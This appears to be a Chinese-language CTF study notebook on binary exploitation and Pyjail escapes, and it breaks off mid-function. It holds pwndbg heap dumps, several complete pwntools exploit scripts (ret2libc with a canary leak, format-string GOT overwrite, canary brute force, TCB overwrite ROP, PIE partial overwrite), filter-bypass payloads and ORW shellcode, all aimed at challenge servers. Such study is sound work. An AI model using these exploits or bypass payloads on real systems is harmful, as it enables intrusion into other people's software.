Top chunk | PREV_INUSE
Addr: 0x6032d0
Size: 0x20d30 (with flag bits: 0x20d31)
1
2
3
4
5
6
pwndbg> x/30gx  0x603290
0x603290: 0x0000000000000000 0x0000000000000021 //堆块大小0x21
0x6032a0: 0x0000000000000018 0x00000000006032c0 //0x00000000006032c0 --->0x0000000a61616161
-------------------------------------------------------------------------------------------------------------------
0x6032b0: 0x0000000000000000 0x0000000000000021 //堆块大小0x21
0x6032c0: 0x0000000a61616161 0x0000000000000000 //aaaa

第二个次create

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x603290
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x6032b0
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x6032d0
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x6032f0
Size: 0x20 (with flag bits: 0x21)

Top chunk | PREV_INUSE
Addr: 0x603310
Size: 0x20cf0 (with flag bits: 0x20cf1)
1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/50gx  0x603290
0x603290: 0x0000000000000000 0x0000000000000021 //堆块大小0x21
0x6032a0: 0x0000000000000018 0x00000000006032c0 //0x00000000006032c0 --->0x0000000a61616161
-------------------------------------------------------------------------------------------------------------------
0x6032b0: 0x0000000000000000 0x0000000000000021 //堆块大小0x21
0x6032c0: 0x0000000a61616161 0x0000000000000000 //aaaa
-------------------------------------------------------------------------------------------------------------------
0x6032d0: 0x0000000000000000 0x0000000000000021 //堆块大小0x21
0x6032e0: 0x0000000000000010 0x0000000000603300 //0x0000000000603300 --->0x0000000a62626262
-------------------------------------------------------------------------------------------------------------------
0x6032f0: 0x0000000000000000 0x0000000000000021 //堆块大小0x21
0x603300: 0x0000000a62626262 0x0000000000000000 //bbbb

执行第一个edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x35324000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x35324290
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x353242b0
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x353242d0
Size: 0x40 (with flag bits: 0x41) //第二个堆块大小已经被改成0x40了,这也是为什么是0x30的原因之一。

Top chunk | PREV_INUSE
Addr: 0x35324310
Size: 0x20cf0 (with flag bits: 0x20cf1)
1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/30gx 0x35324290
0x35324290: 0x0000000000000000 0x0000000000000021 //堆块大小0x21
0x353242a0: 0x0000000000000018 0x00000000353242c0 //0x00000000353242c0 --->0x0068732f6e69622f(/bin/sh)
-------------------------------------------------------------------------------------------------------------------
0x353242b0: 0x0000000000000000 0x0000000000000021 //堆块大小0x21
0x353242c0: 0x0068732f6e69622f 0x6161616161616161 //b'/bin/sh\x00' + b'a'*0x10
-------------------------------------------------------------------------------------------------------------------
0x353242d0: 0x6161616161616161 0x0000000000000041 //0x21被覆盖为0x41
0x353242e0: 0x0000000000000010 0x0000000035324300 //0x0000000035324300 --->0x0000000a62626262
-------------------------------------------------------------------------------------------------------------------
0x353242f0: 0x0000000000000000 0x0000000000000021 //堆块大小0x21
0x35324300: 0x0000000a62626262 0x0000000000000000 //bbbb

第一次delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x35324000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x35324290
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x353242b0
Size: 0x20 (with flag bits: 0x21)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x353242d0
Size: 0x40 (with flag bits: 0x41)
fd: 0x35324 //被释放了

Top chunk | PREV_INUSE
Addr: 0x35324310
Size: 0x20cf0 (with flag bits: 0x20cf1)
1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/30gx 0x35324290
0x35324290: 0x0000000000000000 0x0000000000000021 //堆块大小0x21
0x353242a0: 0x0000000000000018 0x00000000353242c0 //0x00000000353242c0 --->0x0068732f6e69622f(/bin/sh)
-------------------------------------------------------------------------------------------------------------------
0x353242b0: 0x0000000000000000 0x0000000000000021 //堆块大小0x21
0x353242c0: 0x0068732f6e69622f 0x6161616161616161 //b'/bin/sh\x00' + b'a'*0x10
-------------------------------------------------------------------------------------------------------------------
0x353242d0: 0x6161616161616161 0x0000000000000041
0x353242e0: 0x0000000000035324 0xa752a1d4c2f9e9c9//已被free
-------------------------------------------------------------------------------------------------------------------
0x353242f0: 0x0000000000000000 0x0000000000000021
0x35324300: 0x0000000000035324 0xa752a1d4c2f9e9c9//已被free

第三次create

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x35324000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x35324290
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x353242b0
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x353242d0
Size: 0x40 (with flag bits: 0x41) //第三块正好是被释放第一块所在的地方

Top chunk | PREV_INUSE
Addr: 0x35324310
Size: 0x20cf0 (with flag bits: 0x20cf1)
1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/30gx 0x35324290
0x35324290: 0x0000000000000000 0x0000000000000021 //堆块大小0x21
0x353242a0: 0x0000000000000018 0x00000000353242c0 //0x00000000353242c0 --->0x0068732f6e69622f(/bin/sh)
-------------------------------------------------------------------------------------------------------------------
0x353242b0: 0x0000000000000000 0x0000000000000021 //堆块大小0x21
0x353242c0: 0x0068732f6e69622f 0x6161616161616161 //b'/bin/sh\x00' + b'a'*0x10
-------------------------------------------------------------------------------------------------------------------
0x353242d0: 0x6161616161616161 0x0000000000000041 //堆块大小0x41
0x353242e0: 0x0000000000000000 0x0000000000000000 //p64(0) * 4
0x353242f0: 0x0000000000000000 0x0000000000000000
0x35324300: 0x0000000000000010 0x0000000000602018 //p64(0x10) + free的got地址
1
2
注释:为什么打印出来的是free()的真实地址,而不是free_got的地址?
你看到的是 free 的真实地址,而不是 GOT 地址,因为你从 GOT 条目中读出了它的内容(也就是解引用了一次),而 GOT 条目里存的就是 free() 的真实地址。

把free_got的地址覆盖成system的地址,最后delete(0):

1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x0000000000602018
00:0000│ 0x602018 (free@got[plt]) —▸ 0x729199e58750 (system) ◂— endbr64 //free_got -->system
01:0008│ 0x602020 (_exit@got.plt) —▸ 0x400696 (_exit@plt+6) ◂— push 1
02:0010│ 0x602028 (puts@got[plt]) —▸ 0x729199e87be0 (puts) ◂— endbr64
03:0018│ 0x602030 (__stack_chk_fail@got.plt) —▸ 0x4006b6 (__stack_chk_fail@plt+6) ◂— push 3
04:0020│ 0x602038 (printf@got[plt]) —▸ 0x729199e60100 (printf) ◂— endbr64
05:0028│ 0x602040 (read@got[plt]) —▸ 0x729199f1ba50 (read) ◂— endbr64
06:0030│ 0x602048 (malloc@got[plt]) —▸ 0x729199ead650 (malloc) ◂— endbr64
07:0038│ 0x602050 (setvbuf@got[plt]) —▸ 0x729199e88550 (setvbuf) ◂— endbr64
1
2
3
4
5
6
pwndbg> find 0x729199e58750, +0x200000, "/bin/sh"
0x729199fcb42f
warning: Unable to access 16000 bytes of target memory at 0x72919a011937, halting search.
1 pattern found.
pwndbg> x/s 0x729199fcb42f
0x729199fcb42f: "/bin/sh"

动调也完成了,这题到这里就完工了。

OK到这里,off_by_one也学了💻📚,pwn143是堆溢出💾🧨,下午先学学别的知识🧠📖,晚上继续写pwn🌙⌨️,fighting💪🔥

堆溢出

这里堆溢出的知识点是House of Force。从另一篇文章开始写全部,放在堆的学习分类里面。

一个算是综合点的题目

  1. 主要是为了记录这个泄露canary的模板

  2. 思路就是puts输出的时候利用栈溢出覆盖/x00,让后面的canary泄露出来,然后在利用libc泄露完成此题(重点在泄露canary)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    from pwn import *
    from LibcSearcher import *

    r=remote('node5.buuoj.cn',28050)
    #r=process('./babystack')
    elf=ELF('./babystack')
    #context.log_level='debug'
    offset = 0x80+8
    #泄露canary
    r.sendlineafter(">>",'1')
    payload=b'a'*offset
    r.sendline(payload)

    r.sendlineafter('>>','2')
    r.recvuntil('a\n')
    canary=u64(r.recv(7).rjust(8,b'\x00'))
    print(hex(canary))

    pop_rdi=0x400a93
    puts_got=elf.got['puts']
    puts_plt=elf.plt['puts']
    main_addr=0x400908

    #泄露puts函数的got表地址
    payload=b'a'*offset+p64(canary)+p64(0)
    payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
    r.sendlineafter(">>",'1')
    r.sendline(payload)
    r.sendlineafter(">>",'3')

    r.recv()

    puts_addr=u64(r.recv(6).ljust(8,b'\x00'))

    #找到对应的libc版本
    libc=LibcSearcher('puts',puts_addr)

    #计算system函数和字符串‘/bin/sh’在程序里的实际地址
    libc_base=puts_addr-libc.dump('puts')
    system=libc_base+libc.dump('system')
    binsh=libc_base+libc.dump('str_bin_sh')

    #构造rop攻击获取shell
    payload=b'a'*offset+p64(canary)+p64(0) + p64(pop_rdi)+p64(binsh)+p64(system)
    r.sendlineafter('>>','1')
    r.sendline(payload)
    r.sendlineafter('>>','3')

    r.interactive()

    参考博客

    1
    https://blog.csdn.net/mcmuyanga/article/details/109776976

这题有点难度(我根本找不到漏洞,如果没有看wp,嘻嘻)

  1. 直接看漏洞所在地

    1

  2. 所以我们只要把rax的值改成backdoor函数就可以了

  3. 可以看到给rax赋值的是var_18

    2

  4. 算一下偏移

    3

​ 还要减去密码的长度 0x48 - 0x0f = 0x3a

  1. exp

    1
    2
    3
    4
    5
    6
    7
    from pwn import *
    r = remote('node5.buuoj.cn',25722)
    backdoor = 0x400e88
    r.sendlineafter(': ','admin')
    payload = b'2jctf_pa5sw0rd'+ b'\x00'*0x3a + p64(backdoor)
    r.sendlineafter(': ',payload)
    r.interactive()

遇到一个没见过的题型,记录一下

  1. 首先怎么判断chm文件,ctf中文件类型的判断也很重要

      1. 用010查头,如果出现ITSF,很大可能是chmwenjian

      2. 用脚本查

        1
        2
        3
        4
        5
        6
        7
        8
        import chm

        try:
        chmfile = chm.CHMFile()
        chmfile.LoadCHM('challenge')
        print("这是一个有效的CHM文件")
        except Exception as e:
        print("这不是一个有效的CHM文件")

        这办法要按chm,我安失败了,安装成功的试试。

  2. 然后就需要一个chm解包工具了CHMUnpacker(付费)这里还有个免费的工具,或者用window里的一个工具hh.exe。

    1
    hh.exe -decompile xxxxxxxx
  3. 解包后(暂时写不来…..)

Pyjail

Pyjail1

1
2
3
4
5
6
7
8
9
10
11
def chall():
user_input = input("Give me your code: ")

# 过滤关键字
forbidden_keywords = ['import', 'eval', 'exec', 'open', 'file']
for keyword in forbidden_keywords:
if keyword in user_input:
print(f"Forbidden keyword detected: {keyword}")
return

result = eval(user_input)

禁用了[‘import’, ‘eval’, ‘exec’, ‘open’, ‘file’]

Payload1:

1
"print(getattr(__builtins__, '__imp'+'ort__')('os').listdir('/tmp'))"

执行系统命令来列出/tmp目录下的文件。

'__imp' + 'ort__' 拼接后形成 '__import__',但代码检查时不会检测到完整的'import'字符串

getattr(__builtins__, '__imp'+'ort__') 的作用是:

  • __builtins__ 是Python的一个内置模块,包含了所有内置函数和变量
  • getattr(object, name) 函数返回对象的命名属性的值
  • 这里我们获取 __builtins__ 模块中的 __import__ 函数

('os') 部分:

  • 调用获取到的 __import__ 函数,参数为 'os'
  • 这相当于执行了 import os,但绕过了对import关键字的直接检查

.listdir('/tmp') 部分:

  • 调用导入的os模块的listdir方法
  • listdir('/tmp') 会列出/tmp目录下的所有文件和文件夹

Payload2:

1
print(getattr(__builtins__, 'o'+'pen')('/tmp/flag.txt').read())

.read() 部分:

  • 调用文件对象的 read 方法
  • 这会读取文件的全部内容,并返回一个字符串

Pyjail2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def chall():
user_input = input("Give me your code: ")

# 过滤关键字
forbidden_keywords = ['import', 'eval', 'exec', 'open', 'file']
for keyword in forbidden_keywords:
if keyword in user_input:
print(f"Forbidden keyword detected: {keyword}")
return

# 过滤特殊字符
forbidden_chars = ['.', '_', '[', ']', "'", '"']
for char in forbidden_chars:
if char in user_input:
print(f"Forbidden character detected: {char}")
return

result = eval(user_input)

payload

1
print(getattr(getattr(getattr(globals(),chr(103)+chr(101)+chr(116))(chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)),chr(111)+chr(112)+chr(101)+chr(110))(chr(47)+chr(116)+chr(109)+chr(112)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)),chr(114)+chr(101)+chr(97)+chr(100))())
  • 禁止关键字import, eval, exec, open, file
  • 禁止字符., _, [, ], ', "

解题思路

由于直接使用open函数和点号访问属性被禁止,我们需要绕过过滤:

  1. 使用chr()函数通过ASCII码构造字符串,避免使用禁止字符。
  2. 使用getattr()函数通过字符串名称访问属性和方法,避免使用点号。
  3. 通过globals()__builtins__间接获取open函数。
  4. 最终调用open('/tmp/flag.txt').read()读取文件内容,并用print确保输出。

  1. 关键词眼:mov rsi, rax;说明scanf也可以调用system

  2. exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    from pwn import *
    context(arch='amd64',os='linux',log_level='debug')
    elf = ELF('./pwn125')
    #r = process('./pwn125')
    r = remote("pwn.challenge.ctf.show",xxxxx)

    call_system = 0x400672
    #0x2000为偏移量
    payload = b'/bin/sh\x00' + cyclic(0x2000) + p64(call_system)

    r.sendline(payload)
    r.interactive()

sandbox_orw

sandbox一般就是禁用了execve函数使我们没办法直接通过system(/bin/sh\x00)来getshell。如果会出现prctl,seccomp的话很可能就要用orw进行绕过。就是利用open,read,write(orw)。

首先用seccomp-tools查看沙箱

1
2
3
sudo apt install gcc ruby-dev
sudo gem install seccomp-tools
seccomp-tools dump ./elf

shellcode绕过

x32

汇编代码

1
2
3
4
#0x67616c66根据文件名改动
shellcode=asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')

利用pwntools

1
2
3
4
payload = shellcraft.i386.open('flag.txt')
payload += shellcraft.i386.read(0x3, save_to, 0x100)
payload += shellcraft.i386.write(0x1, save_to, 0x100)
sh.sendline(asm(payload))

x64

汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
shellcode=f"""
xor rsi,rsi;
xor rdx,rdx;
push rdx;
mov rax,{convert_str_asmencode("././flag")};#根据文件名改动
push rax;
mov rdi,rsp;
xor rax,rax;
mov al,2;
syscall;
mov rdi,rax;
mov dl,0x40;
mov rsi,rsp
mov al,0;
syscall;
xor rdi,rdi;
mov al,1;
syscall;
"""

栈溢出

ret2text

见我的另一篇文章

ret2shellcode

见我的另一篇文章

ret2libc

见我的另一篇文章

ret2syscall

见我的另一篇文章,完全是学长写的,我是勤劳的搬运工

格式化字符串

%n篡改固定地址的变量

见我的另一篇文章(x_32)

x64位————与32的区别

  1. 首先我们要补一个b来确定偏移量

    例如我们32位是

    1
    aaaa %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p

    而64位是

    1
    baaaa %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
  2. 由于64位传参,肯定存在被/x00截断的情况,所以我们需要动调一下,其实我们也可以多试几下,假设我们我们泄露出来的是8,真实的也许就是7,9,10等。

    动调挺简单我就覆两个图片

    • 先是一下直接泄露的8
      4

    • 换成9,还要加上补位AAA

      5

      也许达到这种效果才行吧。

    这里直接给模板了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    from pwn import *
    context.log_level='debug'

    r = remote("node5.buuoj.cn",25959)
    #r = process("./mrctf2020_easy_equation")

    judge = 0x060105C
    payload = b"BB%9$nAAA"+p64(judge) #偏移量这里是9,具体根据实际情况。BB是因为judge要修改成2。#AAA是用来补位的
    r.sendline(payload)
    r.interactive()

%n篡改printf_got指向system

例题ctfshow pwn95

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *
#context(arch = "amd64",os = 'linux',log_level = 'debug')
#context(arch = "i386",os = 'linux',log_level = 'debug')
#r = process("./pwn95")
r = remote('pwn.challenge.ctf.show',28204)
elf = ELF("./pwn95")
#libc = ELF('./libc.so.6')

r.recvuntil(" * ************************************* ")

offset = 6 #偏移量根据具体情况来定
printf_got = elf.got['printf']
payload1 = p32(printf_got) + b'%6$s'
r.send(payload1)
printf_addr = u32(r.recvuntil('\xf7')[-4:])
libc = LibcSearcher('printf',printf_addr)
libc_base = printf_addr - libc.dump('printf')
system_addr = libc_base + libc.dump('system')
payload = fmtstr_payload(offset,{printf_got:system_addr})

r.send(payload)
r.send('/bin/sh')
r.interactive()
#%p %p %p %p %p

例题 buuctf axb_2019_fmt32

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from LibcSearcher import *
#context(arch = "amd64",os = 'linux',log_level = 'debug')
#context(arch = "i386",os = 'linux',log_level = 'debug')
#r = process("./pwn95")
r = remote('node5.buuoj.cn',26279)
elf = ELF("./axb_2019_fmt32")
offset = 8
printf_got = elf.got['printf']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload1 =b'a' + p32(puts_got) + b'%8$s'
r.sendafter("Please tell me:",payload1)
puts_addr = u32(r.recvuntil(b'\xf7')[-4:])
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
payload = b'A' +fmtstr_payload(offset,{printf_got:system_addr},write_size='byte',numbwritten=0xa)
r.sendafter("Please tell me:",payload)
r.sendline(b';/bin/sh')
r.interactive()
#%p %p %p %p %p

canary

爆破

这里有一个模拟canary爆破

模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
import re
import time
context(arch='i386',os='linux',log_level='debug')
#r = remote("pwn.challenge.ctf.show",28257)
r = process('./pwn119')
elf = ELF('./pwn119')

canary = b'\x00'
backdoor = elf.sym['backdoor']

canary = b'\x00'
for i in range(3):
for j in range(0, 256):
payload = b'a' * (0x70 - 0xC) + canary + p8(j)
r.send(payload)
time.sleep(0.3)
res = r.recv()
if ( b"stack smashing detected" not in res):
print(f'the {i} is {hex(j)}')
canary += p8(j)
break
assert(len(canary) == i+2)

print(f'Canary : {hex(u32(canary))}')

# 第二次溢出
print(hex(u32(canary)))
payload = cyclic(0x70 - 0xC) + canary + cyclic(0xc) + p32(backdoor)
r.send(payload)
r.interactive()

SSP泄露Canary

ctfshow pwn117
这里主要记录怎么算偏移即buf和__libc_argv[0]的偏移

脚本除了偏移的计算其他都好理解

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
r = remote("pwn.challenge.ctf.show",28116)
#r = process('./pwn')
elf = ELF('./pwn')
flag = 0x6020a0
offset = 504
payload = cyclic(offset) + p64(flag)
r.sendline(payload)
r.interactive()

计算过程先

1
cyclic 100

再进行gdb调试先输入cyclic的结果,再通过如下两种方式计算参考

1

2

3

理论上应该是520才对,504可能是本题有点问题。

覆盖截断字符获取Canary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned int ctfshow()
{
int i; // [esp+0h] [ebp-D8h]
char buf[200]; // [esp+4h] [ebp-D4h] BYREF
unsigned int v3; // [esp+CCh] [ebp-Ch]

v3 = __readgsdword(0x14u);
for ( i = 0; i <= 1; ++i )
{
read(0, buf, 0x200u);
printf(buf);
}
return __readgsdword(0x14u) ^ v3;
}
1
2
3
4
int backdoor()
{
return system("/bin/sh");
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.log_level = 'debug'

#r = remote("pwn.challenge.ctf.show", xxxxx)
r = process("./pwn115")
elf =ELF('./pwn115')
backdoor = elf.sym["backdoor"]
#泄露canary
r.recvuntil("Try Bypass Me!")
payload = b'A'*200 #buf的偏移值
r.sendline(payload)
r.recvuntil(b"A"*200)
Canary = u32(r.recv(4))-0xa #0xa是剪掉上面的换行
log.info("Canary"+hex(Canary))

payload = b"A"*200 + p32(Canary)+b"A"*0x0c+p32(backdoor)#64位需要加一个ret

r.sendline(payload)
r.interactive()

格式化字符串劫持__stack_chk_fail指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.log_level = 'debug'
r = process('./pwn118')
#r = remote('pwn.challenge.ctf.show',xxxxx)
elf = ELF('./pwn118')

stack_chk_fail_got = elf.got['__stack_chk_fail']
getflag = elf.sym['get_flag']

payload = fmtstr_payload(7, {stack_chk_fail_got: getflag})
payload = payload.ljust(0x5c, b'a') #偏移量根据实际情况定
r.sendline(payload)
r.recv()

r.interactive()

canary,格式化字符串

见另一篇文章

覆盖TCB来实现对canary的绕过

还是没搞懂,等搞懂了再来写,先留个模板–来自佬的blog

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
from LibcSearcher import *
#r = process('./pwn120')
r = remote('pwn.challenge.ctf.show',' xxxxx')
#context(arch='amd64',os='linux',log_level='debug')
elf = ELF('./pwn120')

pop_rdi_ret = 0x4007d8
pop_rsi_r15_ret = 0x400be1
leave_ret = 0x40098c
puts_got = elf.got['puts']
puts_plt = elf.sym['puts']
read_plt = elf.sym['read']
bss_addr = 0x602010

payload = b'a' * 0x510 + p64(bss_addr - 0x8)
payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_r15_ret) + p64(bss_addr) + p64(0) + p64(read_plt)
payload += p64(leave_ret)

payload = payload.ljust(0x1000,b'a')

r.sendlineafter("How much do you want to send this time?\n",str(0x1000))
sleep(1)
r.send(payload)
sleep(1)
r.recvuntil("See you next time!\n")
puts_addr = u64(r.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")

# 由于使用的不是题目虚拟机,这里也就没有对应的libc库,所以直接用wp里面给的,当然也可以直接把可能的libc全试一遍,但是这里就不这么做了。

# 正确的libc是libc6_2.27-3ubuntu1.6_amd64

one_gadget = libc_base + 0x4f302

payload = p64(one_gadget)
r.send(payload)

r.interactive()

ctfshow pwn89

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __fastcall main(int argc, const char **argv, const char **envp)
{
pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF

newthread[1] = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
pthread_create(newthread, 0LL, start, 0LL);
if ( pthread_join(newthread[0], 0LL) )
{
puts("exit failure");
return 1;
}
else
{
puts("Bye bye");
return 0;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void *__fastcall start(void *a1)
{
unsigned __int64 v2; // [rsp+8h] [rbp-1018h]
char s[4104]; // [rsp+10h] [rbp-1010h] BYREF
unsigned __int64 v4; // [rsp+1018h] [rbp-8h]

v4 = __readfsqword(0x28u);
memset(s, 0, 0x1000uLL);
puts("Welcome to CTFshowPWN!");
puts("You want to send:");
v2 = lenth();
if ( v2 <= 0x10000 )
{
readn(0LL, s, v2);
puts("See you next time!");
}
else
{
puts("Are you kidding me?");
}
return 0LL;
}

关键为什么能绕过 canary

正常情况下栈保护是:stack_copy_on_stack vs stack_guard_in_TCB (fs:0x28) 比较。此处能绕过的关键链条:

  1. 程序在新线程的栈顶附近放了 TCB,stack_guard 在那个附近可被写到(实现细节见 glibc 分配策略)。
  2. 读入的数据长度远大于本地 buffer(允许写穿 buffer 到栈顶区域)。
  3. 溢出写同时 覆盖了栈上的 canary 副本(stack copy)与 TCB 中的主 canary,把它们都改成攻击者任意的值 → 因为校验比较的两端都被同步改写,于是检查通过。
  4. 同一次写还能把 saved rbp/ret 等覆盖为攻击者需要的值,从而做 ROP、leak、写二阶段并 pivot 到 .bss

换言之:不是“绕过检测逻辑本身”的巧妙 trick,而是“把检测所依赖的参考值(主 canary)用一次大写覆盖成期望值”,从而让检查失效。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
from LibcSearcher import *
#p = process('../pwn89')
#p = gdb.debug('../pwn89','b main')
p = remote('pwn.challenge.ctf.show',' xxxxxx')
context(arch='amd64',os='linux',log_level='debug')
elf = ELF('../pwn89')

pop_rdi_ret = 0x400be3
pop_rsi_r15_ret = 0x400be1
leave_ret = 0x40098c
puts_got = elf.got['puts']
puts_plt = elf.sym['puts']
read_plt = elf.sym['read']
bss_addr = 0x602f00

payload = b'a' * 0x1010 + p64(bss_addr - 0x8)
payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_r15_ret) + p64(bss_addr) + p64(0) + p64(read_plt)
payload += p64(leave_ret)

payload = payload.ljust(0x2000,b'a')

p.sendlineafter("You want to send:",str(0x2000))
sleep(0.5)
p.send(payload)
sleep(0.5)
p.recvuntil("See you next time!\n")
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")

# 由于使用的不是题目虚拟机,这里也就没有对应的libc库,所以直接用wp里面给的,当然也可以直接把可能的libc全试一遍,但是这里就不这么做了。

# 正确的libc是libc6_2.27-3ubuntu1.6_amd64

one_gadget = libc_base + 0x4f302

payload = p64(one_gadget)
p.send(payload)

p.interactive()

p64(pop_rdi_ret) + p64(0)

设置 rdi = 0(stdin 文件描述符)为接下来 read 的第一个参数(fd = 0)。

p64(pop_rsi_r15_ret) + p64(bss_addr) + p64(0)

gadget 做 pop rsi; pop r15; ret:它把 bss_addr 赋给 rsi(第二个参数),并把 0 弹到 r15(只是占位/对齐,r15 在这里不被 read 使用)。

puts泄露canary

见我的另一篇文章和覆盖截断字符获取Canary类似

PIE绕过

爆破pie

模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
# context(log_level='debug')


padding = 0x18 + 0x4
backdoor = b"\xF0" + b"\x06" #backdoor的地址
payload = b"A" * padding + backdoor


count = 1
while True:
r = process("./pwn")
try:
count += 1
print(count,end=' ')
r.recvuntil(b"xxxxxxxx") #根据具体情况
r.send(payload)
recv = r.recv(timeout=10)
except:
print("error",end=' ')
else:
r.interactive()
break

格式化字符串泄露pie和partial write

推荐个佬的博客(格式化和32位pw)

佬的博客2(64位pw)

64位模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/python3

from pwn import *

r=process("./pwn")
elf=ELF("./pwn")

context.log_level="debug"

#Step1 leak canary & ret_addr
r.recvuntil(b"xxxxx")
payload1=b"a"*36+b"bbbb"
r.sendline(payload1)
r.recvuntil(b"bbbb")
canary=u64(p.recv(8))-0x0a
print("leak canary:",hex(canary))

#Step2 overwrite
r.recvuntil(b":\n")
#b"\x3E\x8A"是getshell的地址
payload2=b"a"*0x28+p64(canary)+b"a"*8+b"\x3E\x8A" # luckly~
r.send(payload2)

r.interactive()

覆盖返回地址的后两个字节转跳到后门函数

1
2
3
4
5
6
7
8
ssize_t sub_120E()
{
__int64 buf[4]; // [rsp+0h] [rbp-20h] BYREF

memset(buf, 0, sizeof(buf));
puts("A nice try to break pie!!!");
return read(0, buf, 0x29uLL);
}

先找到需要转跳的地址

6

这里是0x126c只要把返回地址后两字节覆盖成0x6c即可

exp:

1
2
3
4
5
6
7
from pwn import *

p = process('./pie_1')
context(arch='amd64', log_level = 'debug')

p.sendafter(b"A nice try to break pie!!!", b'\x00'*0x28 + p8(0x6c))
p.interactive()
这里再记录一个canary和pie结合的题目
1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__gid_t rgid; // [rsp+Ch] [rbp-4h]

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
sub_1240();
sub_132F();
return 0LL;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 sub_132F()
{
char format[32]; // [rsp+0h] [rbp-60h] BYREF
char v2[56]; // [rsp+20h] [rbp-40h] BYREF
